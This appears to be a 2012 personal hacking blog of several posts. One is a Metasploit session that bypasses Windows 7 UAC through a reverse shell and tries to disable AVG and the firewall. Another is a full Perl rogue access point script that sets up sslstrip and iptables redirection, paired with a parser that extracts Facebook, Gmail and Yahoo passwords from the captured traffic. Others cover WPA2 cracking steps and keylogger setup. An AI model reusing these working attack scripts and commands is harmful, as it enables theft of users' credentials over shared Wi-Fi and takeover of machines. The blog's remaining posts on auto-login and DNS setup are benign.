bits n' bytes

Sunday, February 19, 2012

cracking WPA2 [Basic]

starts interface monitor mode

monitoring the air

send deauth packets and try to catch handshake

WPA handshake: 00:1E:58:BF:E9:73

cracking with the wordlist

Monday, February 13, 2012

Meterpreter Bypass windows 7 UAC, Cripple down AVG and Windows built-in Firewall

Handler

msf > use exploit/multi/handler 
msf  exploit(handler) > set lhost 192.168.0.9
lhost => 192.168.0.9
msf  exploit(handler) > set lport 1111
lport => 1111
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.9:1111 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.0.10
[*] Meterpreter session 1 opened (192.168.0.9:1111 -> 192.168.0.10:49156) at 2012-02-13 17:04:18 +0800

meterpreter > shell
Process 1360 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>sc query avgwd
sc query avgwd

SERVICE_NAME: avgwd 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 4  RUNNING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, ACCEPTS_PRESHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Windows\system32>sc config avgwd start= disabled
sc config avgwd start= disabled
[SC] OpenService FAILED 5:

Access is denied.

Bypassuac

C:\Windows\system32>exit
meterpreter > background
msf  exploit(handler) > use post/windows/escalate/bypassuac 
msf  post(bypassuac) > show options

Module options (post/windows/escalate/bypassuac):

Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   LHOST                     no        Listener IP address for the new session
   LPORT    4444             no        Listener port for the new session
   SESSION                   yes       The session to run this module on.

msf  post(bypassuac) > set lhost 192.168.0.9
lhost => 192.168.0.9
msf  post(bypassuac) > set lport 1111
lport => 1111
msf  post(bypassuac) > set session 1
session => 1
msf  post(bypassuac) > exploit

[*] Started reverse handler on 192.168.0.9:1111 
[*] Starting the payload handler...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Post module execution completed
msf  post(bypassuac) > 
[*] Sending stage (752128 bytes) to 192.168.0.10
[*] Meterpreter session 2 opened (192.168.0.9:1111 -> 192.168.0.10:49184) at 2012-02-13 17:06:03 +0800
[*] Session ID 2 (192.168.0.9:1111 -> 192.168.0.10:49184) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: rzHopEHJDLdv.exe (2504)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2488

msf  post(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

Disabling AVG Services at startup avgwd and AVGIDSAgent

Disable Firewall

Wednesday, February 8, 2012

Installation Cuda Toolkit and Cpyrit [Ubuntu 11.10]

Cuda Toolkit and GPU Computing SDK
step 1:

step 2:

step 3:

step 4:

step 5:

step 6:

step 7:

Edit the line

Into this

step 8:

Cpyrit

If this error occur

This fixes the error

Checking... Video Card must be displayed
pyrit list_cores

pyrit benchmark

oleg's AP with Sslstrip and Ettercap

Stealing User Inputs over WLAN [facebook, yahoo, google, twitter etc...]

#!/usr/bin/perl
print '**********************************************************',"  \n";
print "\e[1;33m                                                       \n";  
print " OLEG's rogue AP                                               \n";
print " Author: s4m                                                   \n";               
print " Disclaimer: [This code is for education purposes only,        \n";
print "  would not be responsible for any misuse of this code.]   \e[m\n";
print '**********************************************************',"\n\n";

use Getopt::Std;

chomp($n);
chomp($c);
chomp($w);
getopts(":n:c:w:", \%args);
if(defined $args{n}){$n = $args{n};}
if(defined $args{c}){$c = $args{c};}
if(defined $args{w}){$w = $args{w};}
if((!defined $args{n} || !defined $args{c} || !defined $args{w}) || (($args{c} !~ /\d+/) || ($args{c} > 13) || ($args{c} == 0))){
print "Usage: ./f.pl -n <\"fake ap\"> -c <1-13> -w <capture.file>\n\n\n";
exit;
}

@wint = qx(cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f2,2 | sed 's\/:\/\/g');
$lint = @wint;
foreach(@wint){
        if($_ =~ m/mon(\d)/){
        &monDevUp($1);
        }
}

sub monDevUp{
chomp;
print "Stop \e[1;32m$_\e[0m monitor mode?:(y/n) ";
$ans = lc(<STDIN>);
chomp($ans);
        if($ans eq "y"){
        system("airmon-ng stop $_");
        system("clear");
        print "\e[1;32m",$_,"\e[0m--> \e[1;31mStopped...\e[0m\n";
        }else{
        "\n";
        }
}

print "\nWireless Interface(s):\n";
foreach(@wint){
        if($_ =~ m/wlan/){
        print $_;
        }
}

print "\n\nSelect an interface: ";
$a = <STDIN>;
$j = 0;
while($j <= $lint){
        if($a eq @wint[$j]){
        &wirelessDevUp(@wint[$j]);
        }
$j++;
}

sub wirelessDevUp{
system("airmon-ng start $_[0]");
system("clear");
@mon = qx(airmon-ng | grep "mon" | cut -c1-4);
$monlen = @mon;
$monInt = @mon[$monlen - 1];
        sleep 2;
        qx(konsole -e airbase-ng -e $n -c $c $monInt);
        sleep 5;

system("ifconfig at0 up");
system("ifconfig at0 192.168.1.254 netmask 255.255.255.0");
system("route add -net 192.168.1.255 netmask 255.255.255.0 gw 192.168.1.254");
system("mkdir -p /var/run/dhcpd");
system("chown dhcpd:dhcpd /var/run/dhcpd");
system("dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcpd/dhcpd.pid at0");

$dhcp = qx(/etc/init.d/dhcp3-server status);
        if($dhcp =~ m/dhcpd3 is not running./){
        system("/etc/init.d/dhcp3-server start");
        }else{
        system("/etc/init.d/dhcp3-server restart");
        }
system("iptables -F");
system("iptables -t nat -F");
system("iptables --delete-chain");
system("iptables -t nat --delete-chain");

system("echo 1 > /proc/sys/net/ipv4/ip_forward");
system("iptables -t nat -A POSTROUTING --out-interface wlan0 -j MASQUERADE");
system("iptables -A FORWARD --in-interface at0 -j ACCEPT");
system("iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.0.1");
system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000");
sleep 4;

qx(konsole -e sslstrip -a -l 10000 -w $w);
}

Fire up Ettercap

Catching Prey

#!/usr/bin/perl
print '**********************************************************',"  \n";
print "\e[1;33m                                                       \n";  
print " CATCHPREY                                                     \n";
print " Author: s4m                                                   \n";               
print " Disclaimer: [This code is for education purposes only,        \n";
print "  would not be responsible for any misuse of this code.]   \e[m\n";
print '**********************************************************',"\n\n";

use Getopt::Std;
getopts(":c:",\%args);
if(defined $args{c}){$c = $args{c};}
if(!defined $args{c}){
print "\n\nUsage: ./catured.pl -c <input file from sslstrip>\n\n";
}

open (F, "<$c") || die "couldn\'t open this file: $!\n";
@lines = <F>;
foreach(@lines){
 if(($_ =~ m/&email=(\S+)@(\w*\d*).(\w{3})&pass=(\S*)&default/)||($_ =~ m/&email=(\S+)%40(\w*\d*).(\w{3})&pass=(\S*)&persistent=1/)||($_ =~ m/&email=(\S+)%40(\w*\d*).(\w{3})&pass=(\S*)&default/)){
 print "POSSIBLE FACEBOOK ACCOUNT\n";
 print "\e[1;32mEMAIL\e[m : ".$1. '@' .$2. '.' .$3;
 print "\e[1;31m PASSWORD\e[m : " .$4;
 print "\n\n";
 }
 if($_ =~ m/&Email=(\S+)&Passwd=(\S*)&signIn/){
 print "POSSIBLE GMAIL ACCOUNT\n";
        print "\e[1;32mEMAIL\e[m : ".$1;
        print "\e[1;31m PASSWORD\e[m : " .$2;
        print "\n\n";
        }
 if(($_ =~ m/&login=(\S+)&pass=(\S*)&.saveC/)||($_ =~ m/&login=(\S+)&passwd=(\S*)&.persistent=y/)){
 print "POSSIBLE YAHOO ACCOUNT\n";
        print "\e[1;32mEMAIL\e[m : ".$1;
        print "\e[1;31m PASSWORD\e[m : " .$2;
        print "\n\n";
        }
}
close (F);

Tuesday, February 7, 2012

BT Auto-Login

step 1: Install rungetty

step 2: Edit tty1.conf

Comment out #exec /sbin/getty -8 38400 tty1
Type this line exec /sbin/rungetty tty1 --autologin root

step 3: Edit ~/.bash_profile

Type in startx

Save and Reboot
DONE!

Wednesday, February 1, 2012

Install Keylogger on Ubuntu [logkeys]

step 1: Download [logkeys]

step 2: Untar

step 3: Install

DONE!

how to use:
-s, --start start logging keypresses
-m, --keymap=FILE use keymap FILE
-o, --output=FILE log output to FILE [/var/log/logkeys.log]
-u, --us-keymap use en_US keymap instead of configured default
-k, --kill kill running logkeys process
-d, --device=FILE input event device [eventX from /dev/input/]
-?, --help print this help screen
--export-keymap=FILE export configured keymap to FILE and exit
--no-func-keys log only character keys
--no-timestamps don't prepend timestamps to log file lines
--post-http=URL POST log to URL as multipart/form-data file
--post-size=SIZE post log file when size equals SIZE [500k]

Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log
logkeys -s -d event6
logkeys -k

My Example: logkeys -s -u -o log.txt

Sunday, November 27, 2011

Windows Server 2003 - DNS Unattended Installation and Creating Zones

1. Type this in notepad, save it as unattended.txt .

DNS=1 -->install DNS components
DNS=0 -->uninstall DNS components

2.Run this command at command prompt.

Create a Standard DNS Primary Zone

Create a Standard DNS Secondary Zone

Create a Reverse lookup Zone
-non-Integrated

-Integrated

Create A (Host) Record.

Create PTR(Pointer) Record.

Create NS (Name Server) Record.

Creates MX (Mail) Record.

Modify SOA (Start of Authority ) Record.

Create CNANE (Alias) Record.